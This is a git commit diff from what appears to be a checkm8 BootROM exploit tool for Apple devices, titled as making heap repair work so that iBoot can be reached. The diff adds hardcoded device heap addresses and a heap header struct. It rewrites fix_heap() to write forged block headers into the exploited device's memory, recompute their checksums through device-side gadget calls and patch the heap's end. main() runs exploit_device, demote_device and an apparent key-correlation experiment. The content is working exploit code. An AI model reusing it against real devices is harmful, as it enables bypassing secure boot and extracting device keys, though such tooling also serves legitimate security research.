Improve heap fixing (works now to get iBoot!)
This commit is contained in:
@@ -40,6 +40,10 @@
|
||||
#define ADDR_DEV_MEMALIGN 0x10000f380
|
||||
#define ADDR_DEV_FREE 0x10000f1b0
|
||||
|
||||
#define ADDR_HEAP_COOKIE 0x180080640
|
||||
#define ADDR_HEAP_BASE 0x1801b4000
|
||||
#define ADDR_HEAP_END 0x1801fffc0
|
||||
|
||||
/* Misc */
|
||||
#define ADDR_RANDOM_RET 0x10000b924
|
||||
#define ADDR_SYNC_ENTRY 0x1800afc84
|
||||
|
||||
@@ -17,6 +17,21 @@ struct aes_constants
|
||||
unsigned char rc_lookup[11];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
struct heap_header
|
||||
{
|
||||
unsigned long long chksum;
|
||||
unsigned long long pad[3];
|
||||
|
||||
unsigned long long curr_size;
|
||||
unsigned long long curr_free : 1;
|
||||
|
||||
unsigned long long prev_free : 1;
|
||||
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
|
||||
|
||||
unsigned long long pad_start;
|
||||
unsigned long long pad_end;
|
||||
} header;
|
||||
|
||||
struct bern_data
|
||||
{
|
||||
double t[16][256];
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <execinfo.h>
|
||||
#include <dev/addr.h>
|
||||
|
||||
#endif
|
||||
|
||||
@@ -182,23 +183,28 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
|
||||
int main()
|
||||
{
|
||||
struct pwned_device *dev = exploit_device();
|
||||
|
||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
{
|
||||
printf("Failed to exploit device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
fix_heap(dev);
|
||||
open_device_session(dev);
|
||||
|
||||
demote_device(dev);
|
||||
fix_heap(dev);
|
||||
usb_task_exit(dev);
|
||||
|
||||
run_corr_exp(dev, "key00");
|
||||
close_device_session(dev);
|
||||
|
||||
uninstall_all_data(dev);
|
||||
uninstall_all_payloads(dev);
|
||||
|
||||
// crash!
|
||||
execute_gadget(dev, 0, 0, 0);
|
||||
// run_corr_exp(dev, "key00");
|
||||
//
|
||||
// uninstall_all_data(dev);
|
||||
// uninstall_all_payloads(dev);
|
||||
//
|
||||
// // crash!
|
||||
// execute_gadget(dev, 0, 0, 0);
|
||||
free_device(dev);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -398,37 +398,118 @@ int demote_device(struct pwned_device *dev)
|
||||
int fix_heap(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
||||
int close;
|
||||
struct heap_header block;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
||||
unsigned long long calc_args[5];
|
||||
int ret, i;
|
||||
|
||||
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
|
||||
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
|
||||
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
|
||||
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
|
||||
|
||||
if(is_device_session_open(dev)) close = 0;
|
||||
else
|
||||
memset(&block, 0, sizeof(struct heap_header));
|
||||
block.curr_size = (0x80 / 0x40);
|
||||
block.pad_start = 0x80;
|
||||
|
||||
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||
//calc_args[1-2] block specific
|
||||
calc_args[3] = 32;
|
||||
calc_args[4] = ADDR_HEAP_COOKIE;
|
||||
|
||||
for(i = 0; i < 3; i++)
|
||||
{
|
||||
close = 1;
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
block.prev_size = prev_sizes[i];
|
||||
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
checkm8_debug_indent("\tfailed to write block %i header\n", i);
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
|
||||
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
|
||||
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
|
||||
calc_args[0] = ADDR_CHECK_ALL_CHKSUMS;
|
||||
dev_exec(dev, 0, 1, calc_args);
|
||||
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||
|
||||
dev_exec(dev, 0, 5, calc1_args);
|
||||
dev_exec(dev, 0, 5, calc2_args);
|
||||
dev_exec(dev, 0, 5, calc3_args);
|
||||
unsigned long long curr = ADDR_HEAP_BASE;
|
||||
while(1)
|
||||
{
|
||||
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
|
||||
memcpy(&block, resp->data, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(close) close_device_session(dev);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
|
||||
return ret;
|
||||
}
|
||||
|
||||
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
|
||||
{
|
||||
block.curr_size -= 1;
|
||||
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
block.prev_free = block.curr_free;
|
||||
block.prev_size = block.curr_size;
|
||||
block.curr_free = 0;
|
||||
block.curr_size = 1;
|
||||
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
|
||||
(unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write last block header\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
|
||||
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
|
||||
calc_args[3] = 32;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
curr += block.curr_size * 0x40;
|
||||
}
|
||||
|
||||
#else
|
||||
#error "Can't fix heap for unknown platform"
|
||||
|
||||
Reference in New Issue
Block a user